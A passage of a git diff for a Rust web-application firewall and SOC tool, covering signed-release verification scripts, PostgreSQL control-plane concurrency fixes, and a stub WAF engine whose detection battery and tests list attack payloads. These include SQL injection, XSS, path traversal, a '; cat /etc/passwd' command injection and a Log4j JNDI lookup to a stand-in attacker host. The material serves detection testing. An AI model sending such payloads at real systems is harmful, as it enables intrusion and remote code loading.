basenames only, so this works next to the download +sha256sum -c SHA256SUMS +# or: shasum -a 256 -c SHA256SUMS + +cosign verify-blob \ + --bundle waf-ids-ai-soc-linux-x86_64.sigstore.json \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + waf-ids-ai-soc-linux-x86_64 + +gh attestation verify waf-ids-ai-soc-linux-x86_64 \ + --repo ContextualWisdomLab/wardnet +``` + +Operators verify the image with: + +```bash +ref="$(cat IMAGE-DIGEST.txt)" # ghcr.io/...@sha256:... +cosign verify \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + "$ref" +cosign verify-attestation --type spdxjson \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + "$ref" +``` + +Tampered bytes, a substituted digest, or a tag that no longer matches +`IMAGE-DIGEST.txt` fail verification. Do not promote a tag whose digest +changed. + +## Promotion + +1. Tag from the merge commit on `main`: `git tag -a vX.Y.Z -m "wardnet vX.Y.Z"` + (lightweight `git tag vX.Y.Z` is not admitted) +2. `git push origin vX.Y.Z` +3. Wait for the Release workflow +4. Pin Kubernetes from `IMAGE-DIGEST.txt` (not `latest`, not the tag alone): + +```bash +scripts/pin-k8s-digest.sh IMAGE-DIGEST.txt +``` + +```yaml +image: ghcr.io/contextualwisdomlab/waf-ids-ai-soc@sha256: +imagePullPolicy: IfNotPresent +``` + +The committed lab manifest still uses `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:0.1.0` +until a tagged image exists; bump that pin in the same release PR as the tag. + +## Rollback + +1. Identify the previous GitHub Release tag and its `IMAGE-DIGEST.txt` +2. Set the Deployment image back to that digest +3. Confirm `/healthz` and `/api/commercial/readiness` on the rolled-back replica +4. Do not retag or overwrite an existing `v*` image + +Declared rollback unit: one immutable digest. Remaining on #84: coverage +and attack-evidence bundle for the signed artifacts. diff --git a/docs/security/compliance-mapping.md b/docs/security/compliance-mapping.md index 8251d794..1c326dd9 100644 --- a/docs/security/compliance-mapping.md +++ b/docs/security/compliance-mapping.md @@ -4,7 +4,7 @@ This document maps the commercial baseline to common enterprise security review | Area | Baseline Evidence | Gap Before Regulated Production | | --- | --- | --- | -| Secure SDLC | Rust implementation, tests, clippy, smoke script | Signed releases, SBOM, SAST/DAST gates | +| Secure SDLC | Rust implementation, tests, clippy, smoke script, tagged keyless Cosign + SPDX SBOM + SLSA attestations | Admission that rejects unsigned tags, hermetic reproducible builds | | Access Control | `ADMIN_TOKEN` / multi-token RBAC (`token:actor:role`, including readonly) for write APIs and audit-log read | SSO/OIDC, SCIM, MFA enforcement | | Auditability | Security events and support bundle | Immutable admin audit log | | Data Protection | No default external telemetry, no secrets in support bundle | Encryption at rest, retention policy | diff --git a/scripts/admit-release-tag.sh b/scripts/admit-release-tag.sh new file mode 100755 index 00000000..090c436a --- /dev/null +++ b/scripts/admit-release-tag.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Fail closed unless REF is an annotated git tag (lightweight/unsigned refs +# are not admitted to the release pipeline). +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +ref="$1" +if [[ ! "$ref" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "admit-release-tag: $ref is not a vX.Y.Z tag" >&2 + exit 1 +fi +kind="$(git cat-file -t "$ref" 2>/dev/null || true)" +if [[ "$kind" != "tag" ]]; then + echo "admit-release-tag: $ref is ${kind:-missing}, not an annotated tag; use git tag -a" >&2 + exit 1 +fi +echo "admit-release-tag: admitted annotated tag $ref" diff --git a/scripts/pin-k8s-digest.sh b/scripts/pin-k8s-digest.sh new file mode 100755 index 00000000..0a309762 --- /dev/null +++ b/scripts/pin-k8s-digest.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Fail closed unless IMAGE-DIGEST.txt is a GHCR content digest, then print +# the Kubernetes image line operators must pin (never a floating tag). +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +file="$1" +if [[ ! -f "$file" ]]; then + echo "pin-k8s-digest: missing $file" >&2 + exit 1 +fi +ref="$(tr -d '[:space:]' < "$file")" +if [[ ! "$ref" =~ ^ghcr\.io/contextualwisdomlab/waf-ids-ai-soc@sha256:[0-9a-f]{64}$ ]]; then + echo "pin-k8s-digest: refused non-digest or wrong image: $ref" >&2 + exit 1 +fi +printf 'image: %s\nimagePullPolicy: IfNotPresent\n' "$ref" diff --git a/scripts/release-checksums.sh b/scripts/release-checksums.sh new file mode 100755 index 00000000..a9d97c8a --- /dev/null +++ b/scripts/release-checksums.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# Emit SHA-256 checksums with basename-only paths so `sha256sum -c` +# works next to the downloaded GitHub Release binary. +set -euo pipefail +if [[ $# -lt 1 ]]; then + echo "usage: $0 ..." >&2 + exit 1 +fi + +hash_one() { + local file="$1" + if command -v sha256sum >/dev/null 2>&1; then + sha256sum -- "$file" + else + shasum -a 256 -- "$file" + fi +} + +for file in "$@"; do + line="$(hash_one "$file")" + digest="${line%% *}" + name="$(basename -- "$file")" + printf '%s %s\n' "$digest" "$name" +done diff --git a/scripts/release-sbom.sh b/scripts/release-sbom.sh new file mode 100755 index 00000000..3d61933c --- /dev/null +++ b/scripts/release-sbom.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# Generate an SPDX 2.3 JSON SBOM with Syft. Fail closed if syft is missing +# or the output is not SPDX JSON. Used by tagged releases (issue #84). +set -euo pipefail + +usage() { + echo "usage: $0 --output FILE SOURCE" >&2 + echo "SOURCE is a file, directory, or image reference Syft accepts." >&2 + exit 1 +} + +output="" +source="" +while [[ $# -gt 0 ]]; do + case "$1" in + --output) + [[ $# -ge 2 ]] || usage + output="$2" + shift 2 + ;; + -h|--help) + usage + ;; + --) + shift + break + ;; + -*) + usage + ;; + *) + if [[ -n "$source" ]]; then + usage + fi + source="$1" + shift + ;; + esac +done + +if [[ -z "$output" || -z "$source" ]]; then + usage +fi + +if ! command -v syft >/dev/null 2>&1; then + echo "syft is required to generate an SPDX SBOM" >&2 + exit 1 +fi + +mkdir -p "$(dirname -- "$output")" +syft "$source" -o "spdx-json=$output" + +python3 - "$output" <<'PY' +import json +import sys + +path = sys.argv[1] +with open(path, encoding="utf-8") as handle: + document = json.load(handle) +version = document.get("spdxVersion") or document.get("spdx_version") +if not isinstance(version, str) or not version.startswith("SPDX-"): + raise SystemExit(f"{path} is not SPDX JSON (spdxVersion={version!r})") +packages = document.get("packages") +if not isinstance(packages, list): + raise SystemExit(f"{path} SPDX document has no packages list") +print(f"{path}: {version} packages={len(packages)}") +PY diff --git a/src/control_plane.rs b/src/control_plane.rs index c63d76ea..b158a1ae 100644 --- a/src/control_plane.rs +++ b/src/control_plane.rs @@ -11,6 +11,7 @@ use crate::outbox::{ STATUS_LEASED, STATUS_PENDING, STATUS_PROCESSED, }; use serde::{Deserialize, Serialize}; +use std::future::Future; use std::net::IpAddr; use std::str::FromStr; use std::time::Instant; @@ -25,7 +26,7 @@ use waf_ids_core::{ /// Default tenant used until Keyverse supplies claims (#82). pub const DEFAULT_TENANT_ID: &str = "local-lab"; -const MIGRATION_VERSION: i32 = 4; +const MIGRATION_VERSION: i32 = 5; /// Oldest logical-backup schema that restores on this binary. /// /// v3 only provisions `wardnet_runtime`. v4 HASH-partitions `security_event` @@ -53,7 +54,8 @@ CREATE TABLE IF NOT EXISTS schema_migration ( CREATE TABLE IF NOT EXISTS tenant_account ( tenant_id TEXT PRIMARY KEY, event_sequence BIGINT NOT NULL, - audit_sequence BIGINT NOT NULL + audit_sequence BIGINT NOT NULL, + snapshot_version BIGINT NOT NULL DEFAULT 0 ); CREATE TABLE IF NOT EXISTS tenant_profile ( @@ -263,6 +265,7 @@ GRANT SELECT, INSERT, UPDATE, DELETE ON dnsbl_entry, security_event, audit_record, threat_feed, outbox_message, outbox_receipt TO wardnet_runtime; GRANT SELECT ON schema_migration TO wardnet_runtime; +ALTER TABLE tenant_account ADD COLUMN IF NOT EXISTS snapshot_version BIGINT NOT NULL DEFAULT 0; "#; fn hash_partition_sql_for(parent: &str) -> Result { @@ -575,7 +578,8 @@ async fn event_partition_count(client: &Client) -> Result { Ok(row.get(0)) } -/// Serializes schema application across connections (DROP/CREATE POLICY is not concurrent-safe). +/// Serializes schema application and runtime GRANTs across connections +/// (DROP/CREATE POLICY and ACL updates are not concurrent-safe). static MIGRATION_GATE: std::sync::LazyLock> = std::sync::LazyLock::new(|| Mutex::new(())); /// Live PostgreSQL snapshot store for one tenant. @@ -627,7 +631,6 @@ impl PostgresPlane { event_limit: LIST_LIMIT, }; plane.migrate().await?; - plane.assume_runtime_role().await?; Ok(plane) } @@ -644,18 +647,20 @@ impl PostgresPlane { .execute("SELECT pg_advisory_lock($1)", &[&MIGRATION_LOCK_KEY]) .await .map_err(|error| format!("control plane migration lock failed: {error}"))?; - let result = apply_schema(&client).await; + // HASH convert GRANT and SET ROLE GRANT both mutate pg_class ACL + // tuples. Hold the lock across both so parallel connects cannot + // `tuple concurrently updated`. + let result = async { + apply_schema(&client).await?; + assume_runtime_role(&client).await + } + .await; let _ = client .execute("SELECT pg_advisory_unlock($1)", &[&MIGRATION_LOCK_KEY]) .await; result } - async fn assume_runtime_role(&self) -> Result<(), String> { - let client = self.client.lock().await; - assume_runtime_role(&client).await - } - #[cfg(test)] async fn runtime_identity(&self) -> Result<(String, bool), String> { let client = self.client.lock().await; @@ -750,6 +755,7 @@ impl PostgresPlane { append_security_event(&mut client, &self.tenant_id, event, event_limit).await } + #[cfg(test)] pub async fn drain_once( &self, owner: &str, @@ -771,6 +777,160 @@ impl PostgresPlane { .await } + /// Claim due messages, dispatch without holding the client lock, then ack. + /// HTTP consumers must not pin the PostgreSQL connection during outbound I/O. + pub async fn drain_due_async( + &self, + owner: &str, + now_unix: i64, + dispatch: F, + ) -> Result + where + F: Fn(OutboxMessage) -> Fut, + Fut: Future>, + { + let claimed = { + let mut client = self.client.lock().await; + claim_batch(&mut client, &self.tenant_id, owner, now_unix).await? + }; + let mut processed = 0; + for message in claimed { + let duplicate = { + let mut client = self.client.lock().await; + receipt_exists(&mut client, &self.tenant_id, &message.idempotency_key).await? + }; + if duplicate { + let mut client = self.client.lock().await; + ack_processed( + &mut client, + &self.tenant_id, + &message, + "duplicate-receipt", + now_unix, + self.event_limit, + ) + .await?; + processed += 1; + continue; + } + match dispatch(message.clone()).await { + Ok(evidence) => { + let mut client = self.client.lock().await; + ack_processed( + &mut client, + &self.tenant_id, + &message, + &evidence, + now_unix, + self.event_limit, + ) + .await?; + processed += 1; + } + Err(error) => { + let mut client = self.client.lock().await; + fail_claimed(&mut client, &self.tenant_id, &message, now_unix, &error).await?; + } + } + } + Ok(processed) + } + + /// Persist an operator-triggered external effect (TAXII / Clearfolio / SOC). + /// Secrets must not appear in `payload_json`. + pub async fn enqueue_effect( + &self, + event_type: &'static str, + aggregate_id: &str, + payload_json: String, + ) -> Result { + let created_unix = unix_now_i64(); + let hash = outbox::payload_hash(&payload_json); + let unique = format!("{created_unix}:{hash}"); + let (message_id, idempotency_key) = + outbox::effect_ids(event_type, &self.tenant_id, &unique); + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane effect transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&self.tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + insert_outbox( + &tx, + &self.tenant_id, + &OutboxInsert { + message_id: message_id.clone(), + aggregate_id: aggregate_id.to_string(), + aggregate_version: created_unix, + event_type, + created_unix, + payload_json, + payload_hash: hash, + idempotency_key, + }, + ) + .await?; + prune_processed_outbox(&tx, &self.tenant_id, self.event_limit).await?; + tx.commit() + .await + .map_err(|error| format!("control plane effect commit failed: {error}"))?; + Ok(message_id) + } + + /// Load one outbox row plus receipt evidence when processed. + pub async fn get_outbox_item( + &self, + message_id: &str, + ) -> Result)>, String> { + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane get-outbox transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&self.tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let row = tx + .query_opt( + "SELECT message_id, aggregate_id, aggregate_version, event_type, schema_version, + created_unix, payload_json, payload_hash, idempotency_key, message_status, + lease_owner, lease_expires_unix, attempt_count, first_attempt_unix, + last_attempt_unix, next_available_unix, terminal_reason + FROM outbox_message WHERE tenant_id = $1 AND message_id = $2", + &[&self.tenant_id, &message_id], + ) + .await + .map_err(|error| format!("control plane get outbox_message failed: {error}"))?; + let Some(row) = row else { + tx.commit() + .await + .map_err(|error| format!("control plane get-outbox commit failed: {error}"))?; + return Ok(None); + }; + let message = row_to_outbox(&row, &self.tenant_id); + let evidence = tx + .query_opt( + "SELECT receipt_evidence FROM outbox_receipt + WHERE tenant_id = $1 AND message_id = $2", + &[&self.tenant_id, &message_id], + ) + .await + .map_err(|error| format!("control plane get outbox_receipt failed: {error}"))? + .map(|row| row.get::<_, String>(0)); + tx.commit() + .await + .map_err(|error| format!("control plane get-outbox commit failed: {error}"))?; + Ok(Some((message, evidence))) + } + pub async fn outbox_health(&self, now_unix: i64) -> Result { let mut client = self.client.lock().await; outbox_health(&mut client, &self.tenant_id, now_unix).await @@ -949,7 +1109,7 @@ async fn load_snapshot(client: &mut Client, tenant_id: &str) -> Result Result(1) as u64, commercial, threat_feeds, + snapshot_version: account.get::<_, i64>(2) as u64, })) } @@ -1002,7 +1163,7 @@ async fn save_snapshot( .await .map_err(|error| format!("control plane tenant context failed: {error}"))?; - write_snapshot_rows(&tx, tenant_id, data).await?; + write_snapshot_rows(&tx, tenant_id, data, true).await?; enqueue_snapshot_outbox(&tx, tenant_id, data).await?; prune_processed_outbox(&tx, tenant_id, keep).await?; @@ -1016,27 +1177,59 @@ async fn write_snapshot_rows( tx: &Transaction<'_>, tenant_id: &str, data: &AppData, + enforce_snapshot_version: bool, ) -> Result<(), String> { - tx.execute( - "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence) - VALUES ($1, $2, $3) - ON CONFLICT (tenant_id) DO UPDATE SET - event_sequence = EXCLUDED.event_sequence, - audit_sequence = EXCLUDED.audit_sequence", - &[ - &tenant_id, - &(data.next_event_id as i64), - &(data.next_audit_log_id as i64), - ], - ) - .await - .map_err(|error| format!("control plane upsert tenant_account failed: {error}"))?; + let expected = data.snapshot_version as i64; + let next_version = if enforce_snapshot_version { + expected.saturating_add(1) + } else { + expected + }; + let written = if enforce_snapshot_version { + tx.execute( + "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence, snapshot_version) + VALUES ($1, $2, $3, $4) + ON CONFLICT (tenant_id) DO UPDATE SET + event_sequence = GREATEST(tenant_account.event_sequence, EXCLUDED.event_sequence), + audit_sequence = EXCLUDED.audit_sequence, + snapshot_version = EXCLUDED.snapshot_version + WHERE tenant_account.snapshot_version = $5", + &[ + &tenant_id, + &(data.next_event_id as i64), + &(data.next_audit_log_id as i64), + &next_version, + &expected, + ], + ) + .await + .map_err(|error| format!("control plane upsert tenant_account failed: {error}"))? + } else { + tx.execute( + "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence, snapshot_version) + VALUES ($1, $2, $3, $4) + ON CONFLICT (tenant_id) DO UPDATE SET + event_sequence = EXCLUDED.event_sequence, + audit_sequence = EXCLUDED.audit_sequence, + snapshot_version = EXCLUDED.snapshot_version", + &[ + &tenant_id, + &(data.next_event_id as i64), + &(data.next_audit_log_id as i64), + &next_version, + ], + ) + .await + .map_err(|error| format!("control plane upsert tenant_account failed: {error}"))? + }; + if enforce_snapshot_version && written == 0 { + return Err("control plane snapshot conflict".to_string()); + } for table in [ "route_config", "threat_indicator", "dnsbl_entry", - "security_event", "audit_record", "threat_feed", "tenant_profile", @@ -1048,6 +1241,14 @@ async fn write_snapshot_rows( .await .map_err(|error| format!("control plane delete {table} failed: {error}"))?; } + if !enforce_snapshot_version { + tx.execute( + "DELETE FROM security_event WHERE tenant_id = $1", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane delete security_event failed: {error}"))?; + } let features = serde_json::to_string(&data.commercial.features) .expect("feature list is JSON-serializable"); @@ -1140,7 +1341,8 @@ async fn write_snapshot_rows( "INSERT INTO security_event ( tenant_id, event_id, timestamp_unix, client_address, route_id, action_name, event_reason, event_score, request_path - ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)", + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9) + ON CONFLICT (tenant_id, event_id) DO NOTHING", &[ &tenant_id, &(event.id as i64), @@ -1570,6 +1772,7 @@ async fn insert_outbox( Ok(()) } +#[cfg(test)] async fn drain_once( client: &mut Client, tenant_id: &str, @@ -2061,7 +2264,7 @@ async fn restore_backup( ) .await .map_err(|error| format!("control plane tenant context failed: {error}"))?; - write_snapshot_rows(&tx, tenant_id, &backup.snapshot).await?; + write_snapshot_rows(&tx, tenant_id, &backup.snapshot, false).await?; for table in ["outbox_receipt", "outbox_message"] { tx.execute( &format!("DELETE FROM {table} WHERE tenant_id = $1"), @@ -2368,7 +2571,8 @@ mod tests { if url.trim().is_empty() { return; } - let plane = PostgresPlane::connect(&url) + let tenant = unique_tenant("roundtrip"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) .await .expect("test database must accept the control plane"); let seeded = AppData::seeded(); @@ -2382,7 +2586,7 @@ mod tests { assert_eq!(loaded.threats, seeded.threats); assert_eq!(loaded.dnsbl, seeded.dnsbl); assert_eq!(loaded.next_event_id, seeded.next_event_id); - assert_eq!(loaded.commercial.tenant_id, DEFAULT_TENANT_ID); + assert_eq!(loaded.commercial.tenant_id, tenant); let messages = plane .list_outbox_limited(LIST_LIMIT) .await @@ -2626,6 +2830,20 @@ mod tests { assert_eq!(reclaimed, 1); } + #[tokio::test] + async fn postgres_parallel_connect_does_not_race_grants() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("parallel-grant"); + let (first, second) = tokio::join!( + PostgresPlane::connect_tenant(&url, &tenant), + PostgresPlane::connect_tenant(&url, &tenant), + ); + first.expect("first parallel connect"); + second.expect("second parallel connect"); + } + #[tokio::test] async fn postgres_outbox_list_is_bounded_and_prunes_processed() { let Some(url) = test_database_url() else { @@ -2754,8 +2972,13 @@ mod tests { 2, "ack must prune processed rows to the configured EVENT_LIMIT, not LIST_LIMIT" ); + let current = plane + .load() + .await + .expect("load for prune save") + .expect("tenant exists"); plane - .save(&AppData::seeded()) + .save(¤t) .await .expect("save must use the same retention cap"); let after_save = plane @@ -3089,4 +3312,86 @@ mod tests { .await .expect("drop probe"); } + + #[tokio::test] + async fn postgres_stale_snapshot_save_conflicts() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("occ"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("first save"); + let mut loaded_a = plane_a.load().await.expect("load a").expect("tenant a"); + let loaded_b = plane_b.load().await.expect("load b").expect("tenant b"); + assert_eq!(loaded_a.snapshot_version, loaded_b.snapshot_version); + loaded_a.routes[0].path_prefix = "/occ-a".into(); + plane_a.save(&loaded_a).await.expect("winner save"); + let mut stale = loaded_b; + stale.routes[0].path_prefix = "/occ-b".into(); + let error = plane_b + .save(&stale) + .await + .expect_err("stale snapshot must conflict"); + assert!( + error.contains("snapshot conflict"), + "operator must see a snapshot conflict: {error}" + ); + let winner = plane_a.load().await.expect("reload").expect("tenant"); + assert_eq!(winner.routes[0].path_prefix, "/occ-a"); + assert!(winner.snapshot_version > loaded_a.snapshot_version); + } + + #[tokio::test] + async fn postgres_enqueues_external_effect_and_async_drain_records_receipt() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-effect"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database"); + plane.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot"); + let payload = serde_json::json!({ + "objects_url": "https://taxii.example/api1/collections/c/objects/", + "feed_id": "taxii-lab", + "path": "/gateway/login", + "client_ip": "198.51.100.20" + }) + .to_string(); + let message_id = plane + .enqueue_effect(crate::outbox::EVENT_TAXII_POLLED, "taxii-lab", payload) + .await + .expect("enqueue taxii poll"); + let processed = plane + .drain_due_async( + "effect-worker", + now.saturating_add(30), + |message| async move { + assert_eq!(message.event_type, crate::outbox::EVENT_TAXII_POLLED); + assert!(message.payload_json.contains("198.51.100.20")); + assert!(message.payload_json.contains("/gateway/login")); + Ok("taxii-ack:unmasked".into()) + }, + ) + .await + .expect("async drain"); + assert_eq!(processed, 1); + let (message, evidence) = plane + .get_outbox_item(&message_id) + .await + .expect("get item") + .expect("enqueued"); + assert_eq!(message.message_status, STATUS_PROCESSED); + assert_eq!(evidence.as_deref(), Some("taxii-ack:unmasked")); + } } diff --git a/src/coraza_abi_stub.rs b/src/coraza_abi_stub.rs index 3e07b413..311e5398 100644 --- a/src/coraza_abi_stub.rs +++ b/src/coraza_abi_stub.rs @@ -2,8 +2,12 @@ //! //! Compiled as a cdylib by `build.rs`. It is not a WAF: it implements the //! current libcoraza export surface so Wardnet can exercise in-process loading -//! without Go at CI build time. Interruptions fire only for the documented -//! `crs-probe=1` contract used by the sidecar tests. +//! without Go at CI build time. Interruptions fire for the documented +//! `crs-probe=1` contract used by the sidecar tests and for the hermetic +//! OWASP CRS attack battery (issue #11) that the live-gateway evidence test +//! fires at the real binary. Detection *quality* against real traffic stays +//! with an operator-supplied libcoraza + Core Rule Set; this fixture only +//! proves Wardnet's load → evaluate → block → record path end to end. #![deny(warnings)] @@ -36,8 +40,144 @@ struct Waf { struct Tx { uri: String, + headers: String, + body: String, interrupted: bool, rule_id: i32, + message: String, +} + +/// One hermetic CRS battery entry: a lowercase substring needle, the OWASP +/// Core Rule Set rule id it stands for, and the canonical CRS message text. +/// First match wins, mirroring CRS phase ordering closely enough for the +/// deterministic evidence test. +struct BatteryEntry { + needle: &'static str, + rule_id: i32, + message: &'static str, +} + +const SQLI_MESSAGE: &str = "SQL Injection Attack Detected via libinjection"; +const XSS_MESSAGE: &str = "XSS Attack Detected via libinjection"; +const TRAVERSAL_MESSAGE: &str = "Path Traversal Attack (/../)"; +const RCE_MESSAGE: &str = "Remote Command Execution: Unix Command Injection"; +const LOG4J_MESSAGE: &str = "Log4j JNDI Remote Code Execution attempt"; + +const BATTERY: &[BatteryEntry] = &[ + BatteryEntry { + needle: "crs-probe=1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "crs-probe%3d1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "' or '1'='1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "%27%20or%20%271%27%3d%271", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union%20select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: " bool { + haystack.to_ascii_lowercase().contains(needle) +} + +/// Runs the battery over one phase's accumulated request text. Returns the +/// matched entry so each phase can mark the transaction with the same rule +/// id and message that `coraza_intervention` reports later. +fn battery_match(text: &str) -> Option<&'static BatteryEntry> { + BATTERY.iter().find(|entry| contains_ignore_case(text, entry.needle)) } struct Store { @@ -151,8 +291,11 @@ pub extern "C" fn coraza_new_transaction(waf: usize) -> usize { id, Tx { uri: String::new(), + headers: String::new(), + body: String::new(), interrupted: false, rule_id: 0, + message: String::new(), }, ); id @@ -184,21 +327,38 @@ pub extern "C" fn coraza_process_uri( return CORAZA_ERROR; }; tx.uri = uri.to_string(); - if uri.contains("crs-probe=1") { + if let Some(entry) = battery_match(uri) { tx.interrupted = true; - tx.rule_id = 942100; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); } CORAZA_OK } #[unsafe(no_mangle)] pub extern "C" fn coraza_add_request_header( - _tx: usize, - _name: *const c_char, + tx: usize, + name: *const c_char, _name_len: c_int, - _value: *const c_char, + value: *const c_char, _value_len: c_int, ) -> c_int { + let (Ok(name), Ok(value)) = (c_str(name), c_str(value)) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.headers.push_str(name); + tx.headers.push(':'); + tx.headers.push_str(value); + tx.headers.push('\n'); + if let Some(entry) = battery_match(&tx.headers) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -214,10 +374,31 @@ pub extern "C" fn coraza_process_request_headers(tx: usize) -> c_int { #[unsafe(no_mangle)] pub extern "C" fn coraza_append_request_body( - _tx: usize, - _data: *const u8, - _length: c_int, + tx: usize, + data: *const u8, + length: c_int, ) -> c_int { + if length < 0 { + return CORAZA_ERROR; + } + let bytes = if data.is_null() || length == 0 { + &[][..] + } else { + unsafe { std::slice::from_raw_parts(data, length as usize) } + }; + let Ok(chunk) = std::str::from_utf8(bytes) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.body.push_str(chunk); + if let Some(entry) = battery_match(&tx.body) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -241,8 +422,8 @@ pub extern "C" fn coraza_intervention(tx: usize) -> *mut CorazaIntervention { return std::ptr::null_mut(); } let action = CString::new("deny").expect("static action"); - let data = CString::new("SQL Injection Attack Detected via libinjection") - .expect("static data"); + let data = CString::new(tx.message.clone()) + .expect("battery messages contain no interior NUL"); let it = Box::new(CorazaIntervention { action: action.into_raw(), status: 403, diff --git a/src/coraza_inprocess.rs b/src/coraza_inprocess.rs index a8e93117..5d0c7a5c 100644 --- a/src/coraza_inprocess.rs +++ b/src/coraza_inprocess.rs @@ -489,4 +489,56 @@ mod tests { ProvenEngineOutcome::Clean ); } + + /// Issue #11: the hermetic battery must cover each OWASP CRS family the + /// live-gateway evidence test fires, including percent-encoded variants, + /// and must attribute overlapping command+traversal payloads to the RCE + /// rule (first-match ordering). + #[test] + fn stub_engine_battery_matches_each_owasp_family() { + let engine = load_stub_engine(); + let cases: &[(&str, i32)] = &[ + ("/app?q=%27%20OR%20%271%27%3D%271", 942100), + ("/app?q=union%20select", 942100), + ("/app?q=%3Cscript%3Ealert(1)%3C/script%3E", 941100), + ("/app?q=..%2F..%2Fetc%2Fpasswd", 930100), + ("/app?file=../../etc/passwd", 930100), + ("/app?cmd=%3B%20cat%20/etc/passwd", 932100), + ("/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", 944120), + ]; + for (uri, expected_rule) in cases { + match engine.evaluate("GET", uri, "", None, &[]) { + ProvenEngineOutcome::Hit(hit) => { + assert_eq!(hit.action, "block", "{uri}"); + assert!( + hit.reason.contains(&expected_rule.to_string()), + "{uri} must cite rule {expected_rule}: {}", + hit.reason + ); + } + other => panic!("{uri} expected hit, got {other:?}"), + } + } + // POST bodies flow through the same engine surface. + match engine.evaluate( + "POST", + "/app/comment", + "comment=", + None, + &[], + ) { + ProvenEngineOutcome::Hit(hit) => { + assert!(hit.reason.contains("941100"), "{}", hit.reason); + } + other => panic!("body XSS expected hit, got {other:?}"), + } + // Benign traffic stays clean. + for uri in ["/app?q=hello", "/healthz", "/api/events"] { + assert_eq!( + engine.evaluate("GET", uri, "", None, &[]), + ProvenEngineOutcome::Clean, + "benign {uri} must stay clean" + ); + } + } } diff --git a/src/credentials.rs b/src/credentials.rs index aa0d271c..358394eb 100644 --- a/src/credentials.rs +++ b/src/credentials.rs @@ -15,6 +15,8 @@ pub const CRED_CONTROL_PLANE_URL: &str = "control_plane_url"; pub const CRED_EGRESS_PROXY_TOKEN: &str = "egress_proxy_token"; pub const CRED_DESTINATION_ALLOWLIST: &str = "destination_allowlist"; pub const CRED_DESTINATION_DENYLIST: &str = "destination_denylist"; +pub const CRED_SOC_LLM_TOKEN: &str = "soc_llm_token"; +pub const CRED_TAXII_BEARER: &str = "taxii_bearer"; /// Where secret-bearing credentials were loaded from (never includes values). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] @@ -103,6 +105,8 @@ impl CredentialRegistry { CRED_EGRESS_PROXY_TOKEN, CRED_DESTINATION_ALLOWLIST, CRED_DESTINATION_DENYLIST, + CRED_SOC_LLM_TOKEN, + CRED_TAXII_BEARER, ] { if let Some(raw) = file_map.get(key) { let text = json_value_as_nonempty_string(raw); @@ -169,6 +173,21 @@ impl CredentialRegistry { Ok(Self { values, source }) } + + /// Fill a missing secret from bootstrap transport. No-op when the key is + /// already present or the value is empty. Never logs the value. + pub fn load_optional_secret(&mut self, name: &str, env_value: Option) { + if self.values.contains_key(name) { + return; + } + let Some(value) = env_value.filter(|value| !value.is_empty()) else { + return; + }; + self.values.insert(name.to_string(), value); + if self.source == CredentialSource::None { + self.source = 